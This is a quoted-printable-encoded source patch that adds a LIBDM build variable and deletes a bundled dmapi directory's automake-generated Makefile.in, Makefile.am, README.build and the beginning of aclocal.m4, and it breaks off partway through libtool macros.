=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/include/builddefs.in +++ b/include/builddefs.in @@ -22,6 +22,7 @@ LIBATTR =3D @libattr@ LIBGDBM =3D @libgdbm@ LIBUUID =3D @libuuid@ LIBHANDLE =3D @libhdl@ +LIBDM =3D @libdm@ LIBTEST =3D $(TOPDIR)/lib/libtest.la =20 PKG_NAME =3D @pkg_name@ Index: b/dmapi/Makefile.am =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/Makefile.am +++ /dev/null @@ -1,7 +0,0 @@ -## Process this file with automake to produce Makefile.in - - -AUTOMAKE_OPTIONS =3D foreign - -SUBDIRS =3D src - Index: b/dmapi/Makefile.in =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/Makefile.in +++ /dev/null @@ -1,577 +0,0 @@ -# Makefile.in generated by automake 1.9.1 from Makefile.am. -# @configure_input@ - -# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, -# 2003, 2004 Free Software Foundation, Inc. -# This Makefile.in is free software; the Free Software Foundation -# gives unlimited permission to copy and/or distribute it, -# with or without modifications, as long as this notice is preserved. - -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY, to the extent permitted by law; without -# even the implied warranty of MERCHANTABILITY or FITNESS FOR A -# PARTICULAR PURPOSE. - -@SET_MAKE@ -srcdir =3D @srcdir@ -top_srcdir =3D @top_srcdir@ -VPATH =3D @srcdir@ -pkgdatadir =3D $(datadir)/@PACKAGE@ -pkglibdir =3D $(libdir)/@PACKAGE@ -pkgincludedir =3D $(includedir)/@PACKAGE@ -top_builddir =3D . -am__cd =3D CDPATH=3D"$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd -INSTALL =3D @INSTALL@ -install_sh_DATA =3D $(install_sh) -c -m 644 -install_sh_PROGRAM =3D $(install_sh) -c -install_sh_SCRIPT =3D $(install_sh) -c -INSTALL_HEADER =3D $(INSTALL_DATA) -transform =3D $(program_transform_name) -NORMAL_INSTALL =3D : -PRE_INSTALL =3D : -POST_INSTALL =3D : -NORMAL_UNINSTALL =3D : -PRE_UNINSTALL =3D : -POST_UNINSTALL =3D : -build_triplet =3D @build@ -host_triplet =3D @host@ -DIST_COMMON =3D README $(am__configure_deps) $(srcdir)/Makefile.am \ -=09$(srcdir)/Makefile.in $(top_srcdir)/configure config.guess \ -=09config.sub depcomp install-sh ltmain.sh missing -subdir =3D . -ACLOCAL_M4 =3D $(top_srcdir)/aclocal.m4 -am__aclocal_m4_deps =3D $(top_srcdir)/configure.ac -am__configure_deps =3D $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES= ) \ -=09$(ACLOCAL_M4) -am__CONFIG_DISTCLEAN_FILES =3D config.status config.cache config.log \ - configure.lineno configure.status.lineno -mkinstalldirs =3D $(install_sh) -d -CONFIG_CLEAN_FILES =3D -SOURCES =3D -DIST_SOURCES =3D -RECURSIVE_TARGETS =3D all-recursive check-recursive dvi-recursive \ -=09html-recursive info-recursive install-data-recursive \ -=09install-exec-recursive install-info-recursive \ -=09install-recursive installcheck-recursive installdirs-recursive \ -=09pdf-recursive ps-recursive uninstall-info-recursive \ -=09uninstall-recursive -ETAGS =3D etags -CTAGS =3D ctags -DIST_SUBDIRS =3D $(SUBDIRS) -DISTFILES =3D $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) -distdir =3D $(PACKAGE)-$(VERSION) -top_distdir =3D $(distdir) -am__remove_distdir =3D \ - { test ! -d $(distdir) \ - || { find $(distdir) -type d ! -perm -200 -exec chmod u+w {} ';' \ - && rm -fr $(distdir); }; } -DIST_ARCHIVES =3D $(distdir).tar.gz -GZIP_ENV =3D --best -distuninstallcheck_listfiles =3D find . -type f -print -distcleancheck_listfiles =3D find . -type f -print -ACLOCAL =3D @ACLOCAL@ -AMDEP_FALSE =3D @AMDEP_FALSE@ -AMDEP_TRUE =3D @AMDEP_TRUE@ -AMTAR =3D @AMTAR@ -AR =3D @AR@ -AUTOCONF =3D @AUTOCONF@ -AUTOHEADER =3D @AUTOHEADER@ -AUTOMAKE =3D @AUTOMAKE@ -AWK =3D @AWK@ -CC =3D @CC@ -CCDEPMODE =3D @CCDEPMODE@ -CFLAGS =3D @CFLAGS@ -CPP =3D @CPP@ -CPPFLAGS =3D @CPPFLAGS@ -CXX =3D @CXX@ -CXXCPP =3D @CXXCPP@ -CXXDEPMODE =3D @CXXDEPMODE@ -CXXFLAGS =3D @CXXFLAGS@ -CYGPATH_W =3D @CYGPATH_W@ -DEFS =3D @DEFS@ -DEPDIR =3D @DEPDIR@ -ECHO =3D @ECHO@ -ECHO_C =3D @ECHO_C@ -ECHO_N =3D @ECHO_N@ -ECHO_T =3D @ECHO_T@ -EGREP =3D @EGREP@ -EXEEXT =3D @EXEEXT@ -F77 =3D @F77@ -FFLAGS =3D @FFLAGS@ -INSTALL_DATA =3D @INSTALL_DATA@ -INSTALL_PROGRAM =3D @INSTALL_PROGRAM@ -INSTALL_SCRIPT =3D @INSTALL_SCRIPT@ -INSTALL_STRIP_PROGRAM =3D @INSTALL_STRIP_PROGRAM@ -LDFLAGS =3D @LDFLAGS@ -LIBOBJS =3D @LIBOBJS@ -LIBS =3D @LIBS@ -LIBTOOL =3D @LIBTOOL@ -LN_S =3D @LN_S@ -LTLIBOBJS =3D @LTLIBOBJS@ -MAKEINFO =3D @MAKEINFO@ -OBJEXT =3D @OBJEXT@ -PACKAGE =3D @PACKAGE@ -PACKAGE_BUGREPORT =3D @PACKAGE_BUGREPORT@ -PACKAGE_NAME =3D @PACKAGE_NAME@ -PACKAGE_STRING =3D @PACKAGE_STRING@ -PACKAGE_TARNAME =3D @PACKAGE_TARNAME@ -PACKAGE_VERSION =3D @PACKAGE_VERSION@ -PATH_SEPARATOR =3D @PATH_SEPARATOR@ -RANLIB =3D @RANLIB@ -SET_MAKE =3D @SET_MAKE@ -SHELL =3D @SHELL@ -STRIP =3D @STRIP@ -VERSION =3D @VERSION@ -ac_ct_AR =3D @ac_ct_AR@ -ac_ct_CC =3D @ac_ct_CC@ -ac_ct_CXX =3D @ac_ct_CXX@ -ac_ct_F77 =3D @ac_ct_F77@ -ac_ct_RANLIB =3D @ac_ct_RANLIB@ -ac_ct_STRIP =3D @ac_ct_STRIP@ -am__fastdepCC_FALSE =3D @am__fastdepCC_FALSE@ -am__fastdepCC_TRUE =3D @am__fastdepCC_TRUE@ -am__fastdepCXX_FALSE =3D @am__fastdepCXX_FALSE@ -am__fastdepCXX_TRUE =3D @am__fastdepCXX_TRUE@ -am__include =3D @am__include@ -am__leading_dot =3D @am__leading_dot@ -am__quote =3D @am__quote@ -am__tar =3D @am__tar@ -am__untar =3D @am__untar@ -bindir =3D @bindir@ -build =3D @build@ -build_alias =3D @build_alias@ -build_cpu =3D @build_cpu@ -build_os =3D @build_os@ -build_vendor =3D @build_vendor@ -datadir =3D @datadir@ -exec_prefix =3D @exec_prefix@ -host =3D @host@ -host_alias =3D @host_alias@ -host_cpu =3D @host_cpu@ -host_os =3D @host_os@ -host_vendor =3D @host_vendor@ -includedir =3D @includedir@ -infodir =3D @infodir@ -install_sh =3D @install_sh@ -libdir =3D @libdir@ -libexecdir =3D @libexecdir@ -localstatedir =3D @localstatedir@ -mandir =3D @mandir@ -mkdir_p =3D @mkdir_p@ -oldincludedir =3D @oldincludedir@ -prefix =3D @prefix@ -program_transform_name =3D @program_transform_name@ -sbindir =3D @sbindir@ -sharedstatedir =3D @sharedstatedir@ -sysconfdir =3D @sysconfdir@ -target_alias =3D @target_alias@ -AUTOMAKE_OPTIONS =3D foreign -SUBDIRS =3D src -all: all-recursive -default: all-recursive - -.SUFFIXES: -am--refresh: -=09@: -$(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) -=09@for dep in $?; do \ -=09 case '$(am__configure_deps)' in \ -=09 *$$dep*) \ -=09 echo ' cd $(srcdir) && $(AUTOMAKE) --foreign '; \ -=09 cd $(srcdir) && $(AUTOMAKE) --foreign \ -=09=09&& exit 0; \ -=09 exit 1;; \ -=09 esac; \ -=09done; \ -=09echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign Makefile'; \ -=09cd $(top_srcdir) && \ -=09 $(AUTOMAKE) --foreign Makefile -.PRECIOUS: Makefile -Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status -=09@case '$?' in \ -=09 *config.status*) \ -=09 echo ' $(SHELL) ./config.status'; \ -=09 $(SHELL) ./config.status;; \ -=09 *) \ -=09 echo ' cd $(top_builddir) && $(SHELL) ./config.status $@ $(am__= depfiles_maybe)'; \ -=09 cd $(top_builddir) && $(SHELL) ./config.status $@ $(am__depfile= s_maybe);; \ -=09esac; - -$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS= _DEPENDENCIES) -=09$(SHELL) ./config.status --recheck - -$(top_srcdir)/configure: $(am__configure_deps) -=09cd $(srcdir) && $(AUTOCONF) -$(ACLOCAL_M4): $(am__aclocal_m4_deps) -=09cd $(srcdir) && $(ACLOCAL) $(ACLOCAL_AMFLAGS) - -mostlyclean-libtool: -=09-rm -f *.lo - -clean-libtool: -=09-rm -rf .libs _libs - -distclean-libtool: -=09-rm -f libtool -uninstall-info-am: - -# This directory's subdirectories are mostly independent; you can cd -# into them and run `make' without going through this Makefile. -# To change the values of `make' variables: instead of editing Makefil= es, -# (1) if the variable is set in `config.status', edit `config.status' -# (which will cause the Makefiles to be regenerated when you run `= make'); -# (2) otherwise, pass the desired values on the `make' command line. -$(RECURSIVE_TARGETS): -=09@set fnord $$MAKEFLAGS; amf=3D$$2; \ -=09dot_seen=3Dno; \ -=09target=3D`echo $@ | sed s/-recursive//`; \ -=09list=3D'$(SUBDIRS)'; for subdir in $$list; do \ -=09 echo "Making $$target in $$subdir"; \ -=09 if test "$$subdir" =3D "."; then \ -=09 dot_seen=3Dyes; \ -=09 local_target=3D"$$target-am"; \ -=09 else \ -=09 local_target=3D"$$target"; \ -=09 fi; \ -=09 (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \ -=09 || case "$$amf" in *=3D*) exit 1;; *k*) fail=3Dyes;; *) exit 1;;= esac; \ -=09done; \ -=09if test "$$dot_seen" =3D "no"; then \ -=09 $(MAKE) $(AM_MAKEFLAGS) "$$target-am" || exit 1; \ -=09fi; test -z "$$fail" - -mostlyclean-recursive clean-recursive distclean-recursive \ -maintainer-clean-recursive: -=09@set fnord $$MAKEFLAGS; amf=3D$$2; \ -=09dot_seen=3Dno; \ -=09case "$@" in \ -=09 distclean-* | maintainer-clean-*) list=3D'$(DIST_SUBDIRS)' ;; \ -=09 *) list=3D'$(SUBDIRS)' ;; \ -=09esac; \ -=09rev=3D''; for subdir in $$list; do \ -=09 if test "$$subdir" =3D "."; then :; else \ -=09 rev=3D"$$subdir $$rev"; \ -=09 fi; \ -=09done; \ -=09rev=3D"$$rev ."; \ -=09target=3D`echo $@ | sed s/-recursive//`; \ -=09for subdir in $$rev; do \ -=09 echo "Making $$target in $$subdir"; \ -=09 if test "$$subdir" =3D "."; then \ -=09 local_target=3D"$$target-am"; \ -=09 else \ -=09 local_target=3D"$$target"; \ -=09 fi; \ -=09 (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \ -=09 || case "$$amf" in *=3D*) exit 1;; *k*) fail=3Dyes;; *) exit 1;;= esac; \ -=09done && test -z "$$fail" -tags-recursive: -=09list=3D'$(SUBDIRS)'; for subdir in $$list; do \ -=09 test "$$subdir" =3D . || (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) = tags); \ -=09done -ctags-recursive: -=09list=3D'$(SUBDIRS)'; for subdir in $$list; do \ -=09 test "$$subdir" =3D . || (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) = ctags); \ -=09done - -ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES) -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09mkid -fID $$unique -tags: TAGS - -TAGS: tags-recursive $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ -=09=09$(TAGS_FILES) $(LISP) -=09tags=3D; \ -=09here=3D`pwd`; \ -=09if ($(ETAGS) --etags-include --version) >/dev/null 2>&1; then \ -=09 include_option=3D--etags-include; \ -=09 empty_fix=3D.; \ -=09else \ -=09 include_option=3D--include; \ -=09 empty_fix=3D; \ -=09fi; \ -=09list=3D'$(SUBDIRS)'; for subdir in $$list; do \ -=09 if test "$$subdir" =3D .; then :; else \ -=09 test ! -f $$subdir/TAGS || \ -=09 tags=3D"$$tags $$include_option=3D$$here/$$subdir/TAGS"; \ -=09 fi; \ -=09done; \ -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09if test -z "$(ETAGS_ARGS)$$tags$$unique"; then :; else \ -=09 test -n "$$unique" || unique=3D$$empty_fix; \ -=09 $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ -=09 $$tags $$unique; \ -=09fi -ctags: CTAGS -CTAGS: ctags-recursive $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ -=09=09$(TAGS_FILES) $(LISP) -=09tags=3D; \ -=09here=3D`pwd`; \ -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09test -z "$(CTAGS_ARGS)$$tags$$unique" \ -=09 || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ -=09 $$tags $$unique - -GTAGS: -=09here=3D`$(am__cd) $(top_builddir) && pwd` \ -=09 && cd $(top_srcdir) \ -=09 && gtags -i $(GTAGS_ARGS) $$here - -distclean-tags: -=09-rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags - -distdir: $(DISTFILES) -=09$(am__remove_distdir) -=09mkdir $(distdir) -=09@srcdirstrip=3D`echo "$(srcdir)" | sed 's|.|.|g'`; \ -=09topsrcdirstrip=3D`echo "$(top_srcdir)" | sed 's|.|.|g'`; \ -=09list=3D'$(DISTFILES)'; for file in $$list; do \ -=09 case $$file in \ -=09 $(srcdir)/*) file=3D`echo "$$file" | sed "s|^$$srcdirstrip/||"`= ;; \ -=09 $(top_srcdir)/*) file=3D`echo "$$file" | sed "s|^$$topsrcdirstr= ip/|$(top_builddir)/|"`;; \ -=09 esac; \ -=09 if test -f $$file || test -d $$file; then d=3D.; else d=3D$(srcdi= r); fi; \ -=09 dir=3D`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \ -=09 if test "$$dir" !=3D "$$file" && test "$$dir" !=3D "."; then \ -=09 dir=3D"/$$dir"; \ -=09 $(mkdir_p) "$(distdir)$$dir"; \ -=09 else \ -=09 dir=3D''; \ -=09 fi; \ -=09 if test -d $$d/$$file; then \ -=09 if test -d $(srcdir)/$$file && test $$d !=3D $(srcdir); then \ -=09 cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \ -=09 fi; \ -=09 cp -pR $$d/$$file $(distdir)$$dir || exit 1; \ -=09 else \ -=09 test -f $(distdir)/$$file \ -=09 || cp -p $$d/$$file $(distdir)/$$file \ -=09 || exit 1; \ -=09 fi; \ -=09done -=09list=3D'$(DIST_SUBDIRS)'; for subdir in $$list; do \ -=09 if test "$$subdir" =3D .; then :; else \ -=09 test -d "$(distdir)/$$subdir" \ -=09 || $(mkdir_p) "$(distdir)/$$subdir" \ -=09 || exit 1; \ -=09 distdir=3D`$(am__cd) $(distdir) && pwd`; \ -=09 top_distdir=3D`$(am__cd) $(top_distdir) && pwd`; \ -=09 (cd $$subdir && \ -=09 $(MAKE) $(AM_MAKEFLAGS) \ -=09 top_distdir=3D"$$top_distdir" \ -=09 distdir=3D"$$distdir/$$subdir" \ -=09 distdir) \ -=09 || exit 1; \ -=09 fi; \ -=09done -=09-find $(distdir) -type d ! -perm -777 -exec chmod a+rwx {} \; -o \ -=09 ! -type d ! -perm -444 -links 1 -exec chmod a+r {} \; -o \ -=09 ! -type d ! -perm -400 -exec chmod a+r {} \; -o \ -=09 ! -type d ! -perm -444 -exec $(SHELL) $(install_sh) -c -m a+r {} = {} \; \ -=09|| chmod -R a+r $(distdir) -dist-gzip: distdir -=09tardir=3D$(distdir) && $(am__tar) | GZIP=3D$(GZIP_ENV) gzip -c >$(d= istdir).tar.gz -=09$(am__remove_distdir) - -dist-bzip2: distdir -=09tardir=3D$(distdir) && $(am__tar) | bzip2 -9 -c >$(distdir).tar.bz2 -=09$(am__remove_distdir) - -dist-tarZ: distdir -=09tardir=3D$(distdir) && $(am__tar) | compress -c >$(distdir).tar.Z -=09$(am__remove_distdir) - -dist-shar: distdir -=09shar $(distdir) | GZIP=3D$(GZIP_ENV) gzip -c >$(distdir).shar.gz -=09$(am__remove_distdir) - -dist-zip: distdir -=09-rm -f $(distdir).zip -=09zip -rq $(distdir).zip $(distdir) -=09$(am__remove_distdir) - -dist dist-all: distdir -=09tardir=3D$(distdir) && $(am__tar) | GZIP=3D$(GZIP_ENV) gzip -c >$(d= istdir).tar.gz -=09$(am__remove_distdir) - -# This target untars the dist file and tries a VPATH configuration. T= hen -# it guarantees that the distribution is self-contained by making anot= her -# tarfile. -distcheck: dist -=09case '$(DIST_ARCHIVES)' in \ -=09*.tar.gz*) \ -=09 GZIP=3D$(GZIP_ENV) gunzip -c $(distdir).tar.gz | $(am__untar) ;;\ -=09*.tar.bz2*) \ -=09 bunzip2 -c $(distdir).tar.bz2 | $(am__untar) ;;\ -=09*.tar.Z*) \ -=09 uncompress -c $(distdir).tar.Z | $(am__untar) ;;\ -=09*.shar.gz*) \ -=09 GZIP=3D$(GZIP_ENV) gunzip -c $(distdir).shar.gz | unshar ;;\ -=09*.zip*) \ -=09 unzip $(distdir).zip ;;\ -=09esac -=09chmod -R a-w $(distdir); chmod a+w $(distdir) -=09mkdir $(distdir)/_build -=09mkdir $(distdir)/_inst -=09chmod a-w $(distdir) -=09dc_install_base=3D`$(am__cd) $(distdir)/_inst && pwd | sed -e 's,^[= ^:\\/]:[\\/],/,'` \ -=09 && dc_destdir=3D"$${TMPDIR-/tmp}/am-dc-$$$$/" \ -=09 && cd $(distdir)/_build \ -=09 && ../configure --srcdir=3D.. --prefix=3D"$$dc_install_base" \ -=09 $(DISTCHECK_CONFIGURE_FLAGS) \ -=09 && $(MAKE) $(AM_MAKEFLAGS) \ -=09 && $(MAKE) $(AM_MAKEFLAGS) dvi \ -=09 && $(MAKE) $(AM_MAKEFLAGS) check \ -=09 && $(MAKE) $(AM_MAKEFLAGS) install \ -=09 && $(MAKE) $(AM_MAKEFLAGS) installcheck \ -=09 && $(MAKE) $(AM_MAKEFLAGS) uninstall \ -=09 && $(MAKE) $(AM_MAKEFLAGS) distuninstallcheck_dir=3D"$$dc_install= _base" \ -=09 distuninstallcheck \ -=09 && chmod -R a-w "$$dc_install_base" \ -=09 && ({ \ -=09 (cd ../.. && umask 077 && mkdir "$$dc_destdir") \ -=09 && $(MAKE) $(AM_MAKEFLAGS) DESTDIR=3D"$$dc_destdir" install = \ -=09 && $(MAKE) $(AM_MAKEFLAGS) DESTDIR=3D"$$dc_destdir" uninstal= l \ -=09 && $(MAKE) $(AM_MAKEFLAGS) DESTDIR=3D"$$dc_destdir" \ -=09 distuninstallcheck_dir=3D"$$dc_destdir" distuninstallch= eck; \ -=09 } || { rm -rf "$$dc_destdir"; exit 1; }) \ -=09 && rm -rf "$$dc_destdir" \ -=09 && $(MAKE) $(AM_MAKEFLAGS) dist \ -=09 && rm -rf $(DIST_ARCHIVES) \ -=09 && $(MAKE) $(AM_MAKEFLAGS) distcleancheck -=09$(am__remove_distdir) -=09@(echo "$(distdir) archives ready for distribution: "; \ -=09 list=3D'$(DIST_ARCHIVES)'; for i in $$list; do echo $$i; done) | = \ -=09 sed -e '1{h;s/./=3D/g;p;x;}' -e '$${p;x;}' -distuninstallcheck: -=09@cd $(distuninstallcheck_dir) \ -=09&& test `$(distuninstallcheck_listfiles) | wc -l` -le 1 \ -=09 || { echo "ERROR: files left after uninstall:" ; \ -=09 if test -n "$(DESTDIR)"; then \ -=09 echo " (check DESTDIR support)"; \ -=09 fi ; \ -=09 $(distuninstallcheck_listfiles) ; \ -=09 exit 1; } >&2 -distcleancheck: distclean -=09@if test '$(srcdir)' =3D . ; then \ -=09 echo "ERROR: distcleancheck can only run from a VPATH build" ; \ -=09 exit 1 ; \ -=09fi -=09@test `$(distcleancheck_listfiles) | wc -l` -eq 0 \ -=09 || { echo "ERROR: files left in build directory after distclean:"= ; \ -=09 $(distcleancheck_listfiles) ; \ -=09 exit 1; } >&2 -check-am: all-am -check: check-recursive -all-am: Makefile -installdirs: installdirs-recursive -installdirs-am: -install: install-recursive -install-exec: install-exec-recursive -install-data: install-data-recursive -uninstall: uninstall-recursive - -install-am: all-am -=09@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am - -installcheck: installcheck-recursive -install-strip: -=09$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM=3D"$(INSTALL_STRIP_PROGRAM)= " \ -=09 install_sh_PROGRAM=3D"$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLA= G=3D-s \ -=09 `test -z '$(STRIP)' || \ -=09 echo "INSTALL_PROGRAM_ENV=3DSTRIPPROG=3D'$(STRIP)'"` install -mostlyclean-generic: - -clean-generic: - -distclean-generic: -=09-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) - -maintainer-clean-generic: -=09@echo "This command is intended for maintainers to use" -=09@echo "it deletes files that may require special tools to rebuild." -clean: clean-recursive - -clean-am: clean-generic clean-libtool mostlyclean-am - -distclean: distclean-recursive -=09-rm -f $(am__CONFIG_DISTCLEAN_FILES) -=09-rm -f Makefile -distclean-am: clean-am distclean-generic distclean-libtool \ -=09distclean-tags - -dvi: dvi-recursive - -dvi-am: - -html: html-recursive - -info: info-recursive - -info-am: - -install-data-am: - -install-exec-am: - -install-info: install-info-recursive - -install-man: - -installcheck-am: - -maintainer-clean: maintainer-clean-recursive -=09-rm -f $(am__CONFIG_DISTCLEAN_FILES) -=09-rm -rf $(top_srcdir)/autom4te.cache -=09-rm -f Makefile -maintainer-clean-am: distclean-am maintainer-clean-generic - -mostlyclean: mostlyclean-recursive - -mostlyclean-am: mostlyclean-generic mostlyclean-libtool - -pdf: pdf-recursive - -pdf-am: - -ps: ps-recursive - -ps-am: - -uninstall-am: uninstall-info-am - -uninstall-info: uninstall-info-recursive - -.PHONY: $(RECURSIVE_TARGETS) CTAGS GTAGS all all-am am--refresh check = \ -=09check-am clean clean-generic clean-libtool clean-recursive \ -=09ctags ctags-recursive dist dist-all dist-bzip2 dist-gzip \ -=09dist-shar dist-tarZ dist-zip distcheck distclean \ -=09distclean-generic distclean-libtool distclean-recursive \ -=09distclean-tags distcleancheck distdir distuninstallcheck dvi \ -=09dvi-am html html-am info info-am install install-am \ -=09install-data install-data-am install-exec install-exec-am \ -=09install-info install-info-am install-man install-strip \ -=09installcheck installcheck-am installdirs installdirs-am \ -=09maintainer-clean maintainer-clean-generic \ -=09maintainer-clean-recursive mostlyclean mostlyclean-generic \ -=09mostlyclean-libtool mostlyclean-recursive pdf pdf-am ps ps-am \ -=09tags tags-recursive uninstall uninstall-am uninstall-info-am - -# Tell versions [3.59,3.63) of GNU make to not export all variables. -# Otherwise a system limit (for SysV at least) may be exceeded. -.NOEXPORT: Index: b/dmapi/README.build =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/README.build +++ /dev/null @@ -1,11 +0,0 @@ -You should be able to just run the ./configure and then 'make'. - - -Sometimes we have to update the autotools bits. Here's what was used = the last -time: - -libtoolize --automake --copy --force -aclocal --force -automake --add-missing --copy --force-missing -autoconf - Index: b/dmapi/aclocal.m4 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/aclocal.m4 +++ /dev/null @@ -1,7227 +0,0 @@ -# generated automatically by aclocal 1.9.6 -*- Autoconf -*- - -# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, -# 2005 Free Software Foundation, Inc. -# This file is free software; the Free Software Foundation -# gives unlimited permission to copy and/or distribute it, -# with or without modifications, as long as this notice is preserved. - -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY, to the extent permitted by law; without -# even the implied warranty of MERCHANTABILITY or FITNESS FOR A -# PARTICULAR PURPOSE. - -# libtool.m4 - Configure libtool for the host system. -*-Autoconf-*- - -# serial 48 AC_PROG_LIBTOOL - - -# AC_PROVIDE_IFELSE(MACRO-NAME, IF-PROVIDED, IF-NOT-PROVIDED) -# ----------------------------------------------------------- -# If this macro is not defined by Autoconf, define it here. -m4_ifdef([AC_PROVIDE_IFELSE], - [], - [m4_define([AC_PROVIDE_IFELSE], -=09 [m4_ifdef([AC_PROVIDE_$1], -=09=09 [$2], [$3])])]) - - -# AC_PROG_LIBTOOL -# --------------- -AC_DEFUN([AC_PROG_LIBTOOL], -[AC_REQUIRE([_AC_PROG_LIBTOOL])dnl -dnl If AC_PROG_CXX has already been expanded, run AC_LIBTOOL_CXX -dnl immediately, otherwise, hook it in at the end of AC_PROG_CXX. - AC_PROVIDE_IFELSE([AC_PROG_CXX], - [AC_LIBTOOL_CXX], - [define([AC_PROG_CXX], defn([AC_PROG_CXX])[AC_LIBTOOL_CXX - ])]) -dnl And a similar setup for Fortran 77 support - AC_PROVIDE_IFELSE([AC_PROG_F77], - [AC_LIBTOOL_F77], - [define([AC_PROG_F77], defn([AC_PROG_F77])[AC_LIBTOOL_F77 -])]) - -dnl Quote A][M_PROG_GCJ so that aclocal doesn't bring it in needlessly= . -dnl If either AC_PROG_GCJ or A][M_PROG_GCJ have already been expanded,= run -dnl AC_LIBTOOL_GCJ immediately, otherwise, hook it in at the end of bo= th. - AC_PROVIDE_IFELSE([AC_PROG_GCJ], - [AC_LIBTOOL_GCJ], - [AC_PROVIDE_IFELSE([A][M_PROG_GCJ], - [AC_LIBTOOL_GCJ], - [AC_PROVIDE_IFELSE([LT_AC_PROG_GCJ], -=09[AC_LIBTOOL_GCJ], - [ifdef([AC_PROG_GCJ], -=09 [define([AC_PROG_GCJ], defn([AC_PROG_GCJ])[AC_LIBTOOL_GCJ])]) - ifdef([A][M_PROG_GCJ], -=09 [define([A][M_PROG_GCJ], defn([A][M_PROG_GCJ])[AC_LIBTOOL_GCJ]= )]) - ifdef([LT_AC_PROG_GCJ], -=09 [define([LT_AC_PROG_GCJ], -=09=09defn([LT_AC_PROG_GCJ])[AC_LIBTOOL_GCJ])])])]) -])])# AC_PROG_LIBTOOL - - -# _AC_PROG_LIBTOOL -# ---------------- -AC_DEFUN([_AC_PROG_LIBTOOL], -[AC_REQUIRE([AC_LIBTOOL_SETUP])dnl -AC_BEFORE([$0],[AC_LIBTOOL_CXX])dnl -AC_BEFORE([$0],[AC_LIBTOOL_F77])dnl -AC_BEFORE([$0],[AC_LIBTOOL_GCJ])dnl - -# This can be used to rebuild libtool when needed -LIBTOOL_DEPS=3D"$ac_aux_dir/ltmain.sh" - -# Always use our own libtool. -LIBTOOL=3D'$(SHELL) $(top_builddir)/libtool' -AC_SUBST(LIBTOOL)dnl - -# Prevent multiple expansion -define([AC_PROG_LIBTOOL], []) -])# _AC_PROG_LIBTOOL - - -# 